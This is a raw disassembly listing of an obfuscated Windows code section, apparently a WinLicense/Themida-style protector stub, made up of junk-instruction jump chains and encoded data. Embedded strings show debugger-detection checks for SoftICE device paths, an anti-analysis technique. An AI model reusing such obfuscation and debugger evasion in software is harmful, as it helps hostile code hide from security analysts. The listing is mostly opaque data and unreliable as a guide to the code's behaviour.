		add	eax, 61F54735h
		add	eax, ecx
		jmp	loc_59613B
; ---------------------------------------------------------------------------


loc_598F94:				; CODE XREF: .XComp0:00589088j
		xor	edx, [esp]
		jmp	loc_5966FF
; ---------------------------------------------------------------------------


loc_598F9C:				; CODE XREF: .XComp0:00592FBCj
		xor	ecx, 0CBFF69B0h
		sub	eax, ecx
		pop	ecx
		pop	edx
		jmp	loc_58BA50
; ---------------------------------------------------------------------------


loc_598FAB:				; CODE XREF: .XComp0:00593E2Cj
		pop	esi
		pop	ebx
		sub	esp, 4
		jmp	loc_59633A
; ---------------------------------------------------------------------------


loc_598FB8:				; CODE XREF: .XComp0:0058F889j
		pop	dword ptr [esp]
		jmp	loc_594E5F
; ---------------------------------------------------------------------------


loc_598FC0:				; CODE XREF: .XComp0:00595D04j
		and	esi, 6A0D779Fh
		neg	esi
		add	esi, 6A08158Dh
		add	eax, esi
		pop	esi
		jmp	loc_58812C
; ---------------------------------------------------------------------------


loc_598FD6:				; CODE XREF: .XComp0:005841B2j
		neg	dh
		neg	dh
		push	ebx
		jmp	loc_5941BD
; ---------------------------------------------------------------------------


loc_598FE0:				; CODE XREF: .XComp0:0058E86Aj
		push	ebx
		mov	bl, 0B2h
		add	bl, 0B8h
		not	bl
		jmp	loc_59628B
; ---------------------------------------------------------------------------


loc_598FED:				; CODE XREF: .XComp0:0059137Aj
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2D372948h
		add	eax, edi
		pop	edi
		pop	esi
		push	6911h
		mov	[esp], ebp
		mov	ebp, 7EF42768h
		push	ebx
		mov	ebx, 4AA63F4Ch
		sub	ebx, 0A332E8Dh
		shl	ebx, 2
		xor	ebx, 617B31CEh
		neg	ebx
		push	ebp
		mov	ebp, 447D14DFh
		add	ebp, 685F13F7h
		shr	ebp, 6
		jmp	loc_58F88E
; ---------------------------------------------------------------------------


loc_599038:				; CODE XREF: .XComp0:0058A537j
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_585650
; ---------------------------------------------------------------------------


loc_599045:				; CODE XREF: .XComp0:00573215j
		jmp	loc_5990AB
; ---------------------------------------------------------------------------
		dw 0ADFCh
		dd 53555523h, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 407D8h, 30004h
		dd 370004h, 25C0007h, 0Ah dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5990AB:				; CODE XREF: .XComp0:loc_599045j
		jmp	loc_599C66
; ---------------------------------------------------------------------------
		push	5FBDBF2h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBDCC6h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBDE68h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBE008h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBE081h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBE1D2h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FBE242h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 5C83h
		dd 88688FB5h, 48725587h, 7D5E89BBh, 49715488h, 75AC86BEh
		dd 0BB61A646h, 0A359B21Ch, 0CC709944h, 9349C429h, 0B2CB8831h
		dd 2F239AAAh, 0E708EFBAh, 54FAAF26h, 35A8F1DEh,	63A645A3h
		dd 0C772B772h, 2A063145h, 8EA0042Ah, 0FC9C72A1h, 32EF2F8Eh
		dd 58213207h, 0D5239CCBh, 4350628h, 1737CEFBh, 76E82E34h
		dd 7FDB4DFDh, 8F46725Ah, 41A86BBFh, 0BFD380ADh,	124FBC7Fh
		dd 3183F625h, 30043CAh,	9522C7CEh, 69FED639h, 0BB87A423h
		dd 0D5431F2Fh, 12AD548Dh, 0BC6D60ADh, 0E62CB79Ah, 0E11849C2h
		dd 0D0714732h, 37D7C43Dh, 0E217C2BFh, 0A213F6D5h, 71413CD7h
		dd 0C1BE3DD0h, 0E607E608h, 0C47F227h, 3DD07171h, 31DB31EEh
		dd 1CD11EFFh, 0DE3BF519h, 0BCAB41F6h, 61F510B9h, 13E02D92h
		dd 5ECAA266h, 0EBAA8BA4h, 9A000009h, 0C322DA37h, 0A550F41Bh
		dd 0B91CC043h, 0A84FF510h, 321C344h, 1EE9D18Eh,	2EDDFFE6h
		dd 1DECCFF6h, 2EDF00E7h, 0F02BCCF6h, 239AAA8Dh,	0CEA3650Ah
		dd 6D818C31h, 75AC617Eh, 8239389Fh, 0DF46AE5Bh,	727B9BB7h
		dd 98E172C7h, 152995B7h, 0C9AC668h, 5AA92BD6h, 0C4B5661Ah
		dd 412995EAh, 68207044h, 8841CAF4h, 98800924h, 4FDFF9F7h
		dd 40A017E2h, 0C4C93C9Dh, 173ADC15h, 2F91D4C3h,	6C609986h
		dd 4863BAC6h, 0D562F46Ah, 0E9D403EAh, 35FCAD20h, 1A22A0Fh
		dd 24559C18h, 0D2AB6891h, 4F239A24h, 8E2DBC52h,	9239C67Bh
		dd 6B0ED777h, 8F9F6854h, 28717F60h, 5A2330C6h, 0D72399A6h
		dd 862DC22Ah, 87846A55h, 3D9E5306h, 0B0F0198Eh,	177A7B74h
		dd 0C6000009h, 973EE62Bh, 0C124D837h, 8D38EC17h, 0C423D92Ch
		dd 0F74DEF18h, 2ADDFDBAh, 22E9D3F2h, 19F0DBFAh,	32DB04E3h
		dd 40FE80Ah, 239AA979h,	0CEAF51F6h, 8595E873h, 0E10B2996h
		dd 27C7B42Ah, 0EFE627C8h, 2536E708h, 29968554h,	981DD4D1h
		dd 45A80FB8h, 0F618D1C4h, 0EE13DB07h, 96854C2Dh, 3ADCC929h
		dd 2F591BD5h, 75DC4Dh, 981F0000h, 0FA40D637h, 5578638Ch
		dd 3BC47DB4h, 0A475788Fh, 0E886A892h, 29968591h, 886FAE0Fh
		dd 0E891A263h, 65299685h, 44C871B8h, 8CEF9072h,	9C96B84Eh
		dd 39E03AACh, 6E2A5300h, 3CA02996h, 0AF0FCACBh,	44CF5CF2h
		dd 2F8FE0BAh, 68914835h, 7B9B6A4Fh, 6486517Ch, 0FBD9A4AFh
		dd 0A956239Ch, 75BC6D60h, 12C528CFh, 44C12AA9h,	98519851h
		dd 8381015h, 0CE700000h, 1E793F46h, 5EFD1AF5h, 2995DB1Bh
		dd 1026EB98h, 0FEDFFCE1h, 6CB9E0Fh, 0F1CDEA8Fh,	0FA6CF81Eh
		dd 0DBDAA3B0h, 0BA572995h, 95DBE099h, 69A05D29h, 0A4DA79A0h
		dd 522F8EFCh, 0C818465h, 4441B95Dh, 759835A0h, 848F6ACFh
		dd 239CBAF9h, 0F9658976h, 13DB016Fh, 0E9E78DD8h, 219E53FBh
		dd 5C854CB7h, 1E8F7663h, 0CD8EAB4Bh, 2998F614h,	631645FCh
		dd 0E01DA141h, 0CEB1323h, 35EC25DEh, 47E724CAh,	44A80FEAh
		dd 19C433C3h, 42A94CF0h, 2CE712C7h, 1DA14151h, 9E6D1CEh
		dd 36D89104h, 0B9080CADh, 5F341884h, 11848568h,	8F3B9158h
		dd 4B3A08E7h, 6A53A2B4h, 4D8F58A3h, 5C55BEF9h, 77559h
		dd 54BD2400h, 66A945B0h, 52B117BEh, 679E4BAAh, 5DAA12B5h
		dd 67148DA7h, 75608483h, 6590B457h, 76618386h, 6290B459h
		dd 0A7F38695h, 0FB70239Ah, 78638C3Dh, 0E891C253h, 65299685h
		dd 0AD7C71B8h, 2FC87164h, 19D87E8Dh, 7C5459B4h,	7E793521h
		dd 3349AB60h, 543A2014h, 0C7BF92A4h, 6D299675h,	9671CBAEh
		dd 965B4829h, 2F49AA43h, 0FE6D6D4Dh, 47B0FFFFh,	96E774A3h
		dd 13299665h, 53BDB16h,	7D8831CEh, 3BB51AD9h, 71C956CEh
		dd 0CBC207E3h, 0E02B912Eh, 4184124Eh, 51D293B9h, 18F7D799h
		dd 18E118D1h, 95A982FBh, 9502FF29h, 7E2D336h, 31094AE7h
		dd 672F8EB9h, 0EFCC1765h, 0E1B83DCCh, 0BA6D520Bh, 7D9F5C94h
		dd 54BB239Ch, 0B830A6C2h, 2900F516h, 0E01A39E0h, 96299643h
		dd 4449C429h, 59907763h, 4D403DB5h, 0A414B0C6h,	54828D1Dh
		dd 0DD28FE72h, 8F39C646h, 0D046E274h, 0A0000001h, 0FB04A8F1h
		dd 8F641ACEh, 56A6EA71h, 79EF7B9Bh, 0D9FFF821h,	60F6A32Ah
		dd 0AECA48D3h, 601D2F8Eh, 0A77A53B9h, 36764AC5h, 4E141F20h
		dd 3CFD75B3h, 79235605h, 309949C1h, 9509E0D5h, 8C1A46E8h
		dd 2270AB56h, 754FBAA1h, 3950588h, 309045A5h, 0F63BEEDFh
		dd 3ADF2AFFh, 0E3BA5AD2h, 0B2449FF8h, 0CB09D685h, 9BBA49C0h
		dd 0E811D82Fh, 0CD1FEECFh, 13E0BC93h, 8EAB4BC2h, 47A44C71h
		dd 7D475297h, 126DE13h,	6D621B38h, 0F0DF3DCEh, 0E0B93CCDh
		dd 9E60529h, 1E20B704h,	0D1E25EC4h, 5D5E4h, 0B45D8400h
		dd 86896590h, 0B251775Eh, 877E6B8Ah, 0BD4A7255h, 4774AD87h
		dd 15C064A3h, 45B054B7h, 16C163A6h, 42B054B9h, 0A593E675h
		dd 5B10239Ah, 3169FF9Dh, 57223108h, 0D4299685h,	0E92A0727h
		dd 2F926005h, 8CED2ED3h, 9239AABh, 502FA1Ch, 11F8E3DCh
		dd 28E10CEBh, 1FE406F1h, 0EE13D60Fh, 0FF1CE7D1h, 239AAB7Eh
		dd 9E80EFBh, 15CA29E4h,	7B0F7DCh, 55C07EEh, 0E40B0000h
		dd 0F0D0F72Dh, 0F0DAFD1Fh, 0E506F113h, 0F1D9FC20h, 0DD54EE16h
		dd 13C93E9Eh, 0DB010AB4h, 438D1FCh, 0EB11FCE1h,	5A233009h
		dd 0D7239AA5h, 638CCE72h, 5B805378h, 0BB6E5FAAh, 85A4D586h
		dd 64212996h, 9E3F28ADh, 0A66B9E3Dh, 63A4482Fh,	0A4678572h
		dd 86D4B331h, 0A1AD08D8h, 96875F27h, 0F219C329h, 1C370237h
		dd 29968361h, 0F80D21DEh, 4D2F5F67h, 0FFFC4E20h, 1546FBFFh
		dd 29967764h, 2C1224E1h, 0CEAD46CEh, 0D479DAA8h, 30AB342h
		dd 228E1892h, 5B864BB8h, 5B0475A6h, 84812996h, 8096C572h
		dd 0FE2F8F64h, 0D2FAD701h, 20E9C035h, 0A25AFCADh, 0CEE13FE5h
		dd 8595E873h, 0E9202996h, 5B5CD80Ch, 0FF0F0CF2h, 34A25955h
		dd 0EA2833EEh, 782F8F93h, 0CB94EE94h, 6EE7EA6h,	690164D4h
		dd 0C72FBFEEh, 6B282BDAh, 28CBB451h, 42BD64BEh,	7B943C9Bh
		dd 636A9F7Ah, 7EB35C84h, 8AAC5781h, 93206EADh, 0B673817Eh
		dd 0F53DAB3Fh, 8C441366h, 0E9819E75h, 5F3A274Ch, 9247827Fh
		dd 85955E81h, 0B1F50F7Bh, 46FC4AE4h, 19A65B96h,	8A5F56B1h
		dd 8572C764h, 7E2BA265h, 3CB419D8h, 72EB0D9Eh, 0ED0FDAF5h
		dd 0CB28E50Ah, 0F0FE7E0h, 0BECF9FAh, 0BA000004h, 0A342FA17h
		dd 0C530D43Bh, 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh
		dd 0EFDDF06h, 3DCCEFD6h, 0EFFE007h, 104BECD6h, 239AA46Dh
		dd 0FFC385EAh, 4083169h, 9F99AE40h, 22BE398Ah, 1D31E8EDh
		dd 0EECEE910h, 31C59419h, 9164DA1Eh, 75AC592Fh,	7EA6638Ah
		dd 49BE1E99h, 62A746A5h, 78638C6Bh, 0A07BB657h,	0B0F0D13Fh
		dd 9B492C45h, 4A000003h, 13B26AA7h, 15C064ABh, 49AC50B3h
		dd 18BF65A0h, 93B153B4h, 8E79611Eh, 0BE4D6F56h,	8D7C5F86h
		dd 0BE4F7057h, 809B5C86h, 239AA3FDh, 0FF33D57Ah, 15B64169h
		dd 851A63F0h, 0B8972996h, 2801F415h, 48F128E1h,	4DDA1BF1h
		dd 41B8D7F5h, 9598C7B2h, 60574429h, 56038A7Bh, 736B8DC0h
		dd 0DC252F91h, 99BE3E3Fh, 28CEBB23h, 0D32ED3D0h, 7F178401h
		dd 0E7CD7857h, 0BD7A0E9Dh, 12E175BBh, 3EB960ADh, 6DC7679Ch
		dd 0E3367FDh, 64D0E133h, 0E4D31E7Bh, 0F0C40DF6h, 0EE50DAD1h
		dd 0D376980Eh, 2399DEB4h, 0CC6D601Dh, 0DE93E675h, 0E5092399h
		dd 10F6A32Ah, 0DE85F823h, 5022399h, 1FCB2ACCh, 0BB44E5E8h
		dd 25F4F910h, 61897211h
		dd 57847BA6h, 0DC7227AEh, 0FC7CE652h, 4AEF3AD3h, 0F5E808EFh
		dd 0F9FC35D8h, 0F312B720h, 0DE95F063h, 0D3022399h, 0C2971EE5h
		dd 6E5D207h, 37D79203h,	65090BAEh, 77AA6E02h, 7E5F8EA0h
		dd 0F4A91E8Fh, 0B2BE20Bh, 0F4D803ECh, 2C7A213h,	9FAE0D7h
		dd 0F741D584h, 7DE0BA12h, 0C89FEBADh, 69D5DC7Ch, 143AEF7Ch
		dd 0A015F8D5h, 0C02959FCh, 85675045h, 0C6280F86h, 94995045h
		dd 0EFE7B7A3h, 0C649A512h, 5F41ACFh, 67BF15D9h,	71662014h
		dd 5E7F6E80h, 5FAA5D7Dh, 8F785CBDh, 0A5536ACBh,	0DF00EFFFh
		dd 0E20CF32Eh, 61F5A429h, 0DC3B9F88h, 9A753E3Fh, 0E6CEBB23h
		dd 57061117h, 0B36EA360h, 83F3B61h, 51E51309h, 3D29FC98h
		dd 5D7F8E2Fh, 40B5527Ah, 0EBC8B99Ch, 0C3740516h, 34F12399h
		dd 0F5F7E322h, 50732D5h, 41EF30F4h, 51EB0B97h, 918AE4E8h
		dd 0C0D81497h, 0BA1BBF2Eh, 2900F512h, 37D339E0h, 0DD691084h
		dd 8E0376A5h, 83802399h, 383FA84Eh, 0D9817495h,	0AF8A2432h
		dd 998DD9A4h, 85A95623h, 5B818666h, 6688537Ch, 0B07930A5h
		dd 5C987C3Dh, 705B553Eh, 5D5EF105h, 4FDC0D97h, 25179E6Dh
		dd 5018DF8Bh, 0B41986E0h, 57B65459h, 33DF360Bh,	0FFA3E39Eh
		dd 90B30CAh, 91291FAAh,	0F807278Fh, 11BB44EAh, 389554FAh
		dd 27C82FD5h, 55063BE6h, 6B268F24h, 9952E4A1h, 0AB35FCD0h
		dd 8B275201h, 0F7A46B26h, 0F8A7F015h, 2688225Bh, 27E29F6Bh
		dd 304E807h, 0C245A592h, 902ECCBh, 9DC9C484h, 6F7B4CC1h
		dd 74AD607Dh, 0F9BB2A0h, 53E3A429h, 5AF940E9h, 6B26941Fh
		dd 0A04FDF9Ch, 53C7CE3Fh, 89806BC5h, 6FAC5504h,	6B26950Eh
		dd 0AE539E8Bh, 88816C53h, 8FC25405h, 711FC9A7h,	760714EDh
		dd 0F3652D60h, 0F9D82036h, 44FD34CFh, 0F5F80FBBh, 0FF281224h
		dd 6060193Ah, 3DD652Dh,	0A8027DE5h, 77975212h, 0FC257DEBh
		dd 0C2631645h, 0F3D9652Ch, 13F9A618h, 3193D634h, 0AE8BAB28h
		dd 28D2656Dh, 0CE73306Bh, 0F3EA6A46h, 97B7DD6Dh, 8984694Eh
		dd 0C24B7453h, 0D86B48CBh, 1CEBB008h, 0BFAC20CEh, 81FC179Dh
		dd 0FE0E587Eh, 0D842AB01h, 2F3E046Dh, 4A7FA045h, 75A845A4h
		dd 57A093E6h, 0DE13100Eh, 0D4F60126h, 0E122C82Fh, 0DA193DECh
		dd 2D8F28F5h, 0F102D7DEh, 0E57A088h, 992A2E13h,	0A2044DCCh
		dd 0C80108B3h, 0D2ED8C01h, 0FBFA1CE9h, 14B637CEh, 0CF45E9F5h
		dd 0CDACD6C3h, 9655F987h, 922DD439h, 1EEEDF2Ch,	1CB73D0Eh
		dd 9DB17829h, 828B3493h, 871A257h, 7E0E5849h, 4734AA5Fh
		dd 179E6F50h, 3233AC42h, 0Ah, 0C5320F8Eh, 3AEFE629h, 658C1E14h
		dd 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h,	8A3235B8h
		dd 4A6F787Dh, 8B2D3ABBh, 4E727578h, 681BCCC1h, 23EBh, 81243489h
		dd 4ECh, 241C8900h, 6BAE68h, 24148900h,	0CC6B4EBBh, 3EBC158h
		dd 5A1CB81h, 55433658h,	5DB2E1BDh, 5DEB2939h, 4EC81h, 24890000h
		dd 24048124h, 4, 755D685Ah, 1C890000h, 8428F24h, 5A2434FFh
		dd 8B04C483h, 8950241Ch, 405E0h, 0C0830000h, 24048704h
		dd 98A0E95Ch, 0AAC8FFFDh, 0C2E5CF9h, 0CBC00574h
		db 94h,	3Eh
; ---------------------------------------------------------------------------


loc_599C66:				; CODE XREF: .XComp0:loc_5990ABj
		mov	eax, 5FBE602h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 30h
; ---------------------------------------------------------------------------
		wait
		add	eax, 93D31A1Ch
		inc	edx
		clc
		mov	edi, 0FDDC2998h
		pop	edi
		adc	ch, [ecx]
		mov	al, fs:416A7E0Eh
		db	67h
		xor	edx, eax
		xor	bh, [eax]
		sbb	esi, [edi]
		mov	dl, 55h
		adc	edi, [ecx-73E19569h]
		retn	506Ah
; ---------------------------------------------------------------------------
		dd 710D2183h, 3D29D858h, 603202D1h, 0FC0505B0h,	857730A5h
		dd 0C9474B28h, 0E8144761h, 10h,	0E1AA0098h, 0E3E5ABABh
		dd 991E9A51h, 5240D8C3h, 0DE8B58F5h, 5956C081h,	0B9F80000h
		dd 2C9EAC2Eh, 95F7E981h, 0E8602C9Eh, 5,	0B098BBF6h, 5E6160CEh
		dd 6AB7DB81h, 8B61614Fh, 67F28110h, 6630038Ch, 81913BBBh
		dd 0D0DED0F2h, 0ECC38064h, 0BA13F281h, 8B664589h, 661089F3h
		dd 4E5AE681h, 914BE881h, 0FB8B638Fh, 9147C081h,	81F5638Fh
		dd 1E9h, 0C0850F00h, 0FFFFFFFh,	8EE9D9BFh, 60000000h, 1201BD83h
		dd 0F0005F9h, 584h, 79E900h, 6A0000h, 0F303E80h, 885h
		dd 46006A00h, 35E9h, 333E8000h,	8850Fh,	106A0000h, 24E946h
		dd 3E800000h, 8850F34h,	6A000000h, 13E94630h, 80000000h
		dd 850F353Eh, 8, 0E946406Ah, 2,	3E80006Ah, 12850F20h, 80000000h
		dd 0F00017Eh, 885h, 8C48300h, 16E9h, 5858D00h, 5005F91Ah
		dd 50240489h, 6A243489h, 2595FF00h, 6105F909h, 9985C6C3h
		dd 4D05F918h, 0AD52A68h, 24048160h, 442AA17Eh, 2109B5FFh
		dd 858D05F9h, 5F93A6Ah,	8589D0FFh, 5F90925h, 5C5C1EEBh
		dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h
		dd 544E5C2Eh, 454349h, 8D8BC08Bh, 5F93145h, 6258D89h, 0BD8305F9h
		dd 5F931C9h, 83097500h,	0F912B5BDh, 19740005h, 0C08B5350h
		dd 40FB8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h
		dd 0B5BD8358h, 5F912h, 53501774h, 40FB8h, 0E9858900h, 8D05F928h
		dd 0FBF0739Dh, 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 8D923594h
		dd 52006A42h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 8E83Bh, 1FCF0000h, 4969592Fh, 8B5E3535h
		dd 0F92835BDh, 50C08B05h, 9985C65Ah, 4305F918h,	0E1685E57h
		dd 0B9BCB25Eh, 527BC58Ch, 1D243481h, 8A003C30h,	19B5FFD0h
		dd 6A05F927h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B26C356h, 0F910A18Dh,	0D5852905h
		dd 8D05F918h, 0F93A6A85h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2C70779Ch
		dd 68FE5045h, 9D89D0FFh, 5F91EE9h, 0FE1BB990h, 8B506D78h
		dd 0CE8A90F7h, 9D31006Ah, 5F900A5h, 0CA871168h,	81D08B12h
		dd 87912434h, 6A12CAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0D9810BC3h, 189925A5h, 6A036Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D012CC3h, 5F92971h,	958B006Ah, 5F91219h, 24B5036Ah
		dd 6319A268h, 20EEBAAAh, 34814191h, 6319A224h, 0F1B5296Ah
		dd 8D05F905h, 0FBE8059Dh, 13E805h, 4A260000h, 0DE2805CCh
		dd 8E138B04h, 763CB55Ch, 415F3919h, 71B58980h, 5A05F908h
		dd 28E0F93h, 8A000000h,	0CB250D0h, 2830F93h, 8B000000h
		dd 8BD0FFF9h, 850F40D6h, 268h, 32E58D8Bh, 895805F9h, 0F905D5BDh
		dd 8B665005h, 240489C8h, 12E9006Ah, 36000000h, 79F1D2C0h
		dd 0D58DF758h, 76A9D51Fh, 2C17FB6Ch, 65CB68C2h,	51601BFCh
		dd 8D0Fh, 505B0000h, 91BB6652h,	50310F79h, 61585A5Ah, 4B243481h
		dd 6A1BFC65h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F25AC352h, 9E9h, 0DD025D00h
		dd 0E05169B1h, 36AAA53h, 0C88B006Ah, 0BA66036Ah, 4E822BAh
		dd 0
		dd 50C00000h, 68A0Fh, 52500000h, 585A310Fh, 12E85059h
		dd 2D000000h, 5AAF332Eh, 23013B74h, 1025906h, 0A3F97B24h
		dd 58B0F6Ch, 0B9000000h, 6A81AE2Dh, 24448B5Ah, 8B566004h
		dd 0F6B358FEh, 0E9008B61h, 10h,	0CB65DAE1h, 3B535FBBh
		dd 8F6331D6h, 0AB873386h, 4244489h, 6658CF8Bh, 8D6C27BEh
		dd 0FBE80E9Dh, 0B1B58B05h, 9305F92Dh, 0B9665250h, 310F96CDh
		dd 2860Fh, 0F28B0000h, 0F50585Ah, 8Ah, 6A9300h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1120D9C3h, 6E9h, 0CF555400h,	0FFA7ACF1h, 8D958BD0h
		dd 4005F921h, 11A850Fh,	95890000h, 5F9101Dh, 0B0B15358h
		dd 0F609059h, 684h, 0F525000h, 51585A31h, 615BC28Bh, 0E840F50h
		dd 60000000h, 8F0Fh, 52500000h,	585A310Fh, 0D1809061h
		dd 29006AFFh, 0F915058Dh, 920E6805h, 52508DD3h,	6EE0CBFh
		dd 66310F4Dh, 5AE6A4BAh, 24048158h, 722C6E72h, 77FB70B9h
		dd 0F08B665Dh, 8D0F036Ah, 3, 6AF38B66h,	69958B00h, 6A05F910h
		dd 0AB906803h, 8B66D502h, 243481D7h, 1502AB90h,	199D8DF8h
		dd 0F05FBE8h, 68Fh, 8C0F00h, 93000000h,	0C860F50h, 0F000000h
		dd 68Fh, 8D0F00h, 93000000h, 2DF98589h,	0D0FF05F9h, 0DF816660h
		dd 7E9F0F3h, 3D000000h,	62356433h, 0E861E99Fh, 6, 5078206Ah
		dd 0CC8A04CBh, 850F4059h, 3Ch, 26E58D8Bh, 6A5805F9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 45E2C357h, 0A33CB076h, 234B0581h, 0F92879BDh, 0F6E905h
		dd 85890000h, 5F93111h,	14E8D88Bh, 0F1000000h, 0F58A484Ch
		dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8B46CC1Dh, 0F9182DB5h
		dd 894B5E05h, 0F919EDBDh, 13E95805h, 0FB000000h, 4FB10B69h
		dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 85C68B3Ah, 5F91899h
		dd 81BD8943h, 6805F913h, 0AA045670h, 3481FE8Bh,	721CD724h
		dd 0C681666Ah, 0B5FF627Fh, 5F92719h, 0FE27B966h, 200D958Bh
		dd 858D05F9h, 5F93A6Ah,	0FFD18B66h, 6093F9D0h, 8BF08B60h
		dd 506161DAh, 0FDD8BE66h, 84BA6693h, 6AD0FF00h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F3F6C350h, 859D8DA2h, 105F972h, 0F9002995h,	5AF95305h
		dd 1B8h, 6840F00h, 89000000h, 0F92615B5h, 6AE3FF05h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D4D3C350h, 6AC18Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B3217FC3h, 6820Fh, 66520000h, 5E6DE3BAh
		dd 83F9C08Bh, 0F931C9BDh, 9750005h, 12B5BD83h, 740005F9h
		dd 8B535019h, 40FB8C0h,	85890000h, 5F915DDh, 0F3EB9D8Dh
		dd 0D3FF05FBh, 0BD83585Bh, 5F912B5h, 50177400h,	40FB853h
		dd 85890000h, 5F915DDh,	0F08C9D8Dh, 0D3FF05FBh,	0E8F5585Bh
		dd 0Eh,	0A79412FBh, 16407C46h, 352B51E2h, 5753746Fh, 8B5F5E5Eh
		dd 0AAE9C0h, 6F530000h,	61777466h, 575C6572h, 694C6E69h
		dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
		dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
		dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
		dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
		dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DEB908h, 77DFD5BBh, 596E9h, 0A7858900h, 8D05FBEEh
		dd 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h, 95FF8000h
		dd 5FBEEB3h, 0B5FF196Ah, 5FBEEA7h, 6A016Ah, 0EE3C858Dh
		dd 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h
		dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h
		dd 0EEA78589h, 858D05FBh, 5FBEEA3h, 0D858D50h, 5005FBEEh
		dd 168h, 0B395FF80h, 6A05FBEEh,	0A7858D04h, 5005FBEEh
		dd 6A046Ah, 0EE66858Dh,	0FF5005FBh, 0FBEEA3B5h,	0B995FF05h
		dd 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h
		dd 7195FF05h, 0C305F906h, 0EEA78589h, 858D05FBh, 5FBEEA3h
		dd 0D858D50h, 5005FBEEh, 168h, 0B395FF80h, 6A05FBEEh, 0A7858D04h
		dd 5005FBEEh, 6A046Ah, 0EE4E858Dh, 0FF5005FBh, 0FBEEA3B5h
		dd 0B995FF05h, 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h, 0FF05FBEEh
		dd 0FBEEA3B5h, 7195FF05h, 0C305F906h, 0EEA78589h, 858D05FBh
		dd 5FBEEA3h, 0D858D50h,	5005FBEEh, 168h, 0B395FF80h, 6A05FBEEh
		dd 0A7858D04h, 5005FBEEh, 6A046Ah, 0EE79858Dh, 0FF5005FBh
		dd 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h
		dd 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h, 0EEA78589h
		dd 858D05FBh, 5FBEEA3h,	0D858D50h, 5005FBEEh, 168h, 0B395FF80h
		dd 6A05FBEEh, 0A7858D04h, 5005FBEEh, 6A046Ah, 0EE29858Dh
		dd 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h
		dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h
		dd 2579BD83h, 0F0005F9h, 0B84h,	799D8B00h, 8305F925h, 3894CC3h
		dd 79BD83C3h, 5F925h, 0B840Fh, 9D8B0000h, 5F92579h, 8950C383h
		dd 0BD83C303h, 5F92579h, 0B840F00h, 8B000000h, 0F925799Dh
		dd 54C38305h, 83C30389h, 0F92579BDh, 840F0005h,	0Bh, 25799D8Bh
		dd 0C38305F9h, 0C3038958h, 2579BD83h, 0F0005F9h, 0B84h
		dd 799D8B00h, 8305F925h, 3895CC3h, 8960C3C3h, 0FBEEA785h
		dd 0A3858D05h, 5005FBEEh, 0EE0D858Dh, 685005FBh, 80000001h
		dd 0EEB395FFh, 46A05FBh, 0EEA7858Dh, 6A5005FBh,	8D006A04h
		dd 0FBEE9E85h, 0B5FF5005h, 5FBEEA3h, 27B995FFh,	0BD8305F9h
		dd 5F931C9h, 0C840F00h,	0FF000000h, 0FBEEA3B5h,	0AF95FF05h
		dd 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 6105F906h, 858960C3h
		dd 5FBEEA7h, 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h,	1685005h
		dd 0FF800000h, 0FBEEB395h, 8D046A05h, 0FBEEA785h, 46A5005h
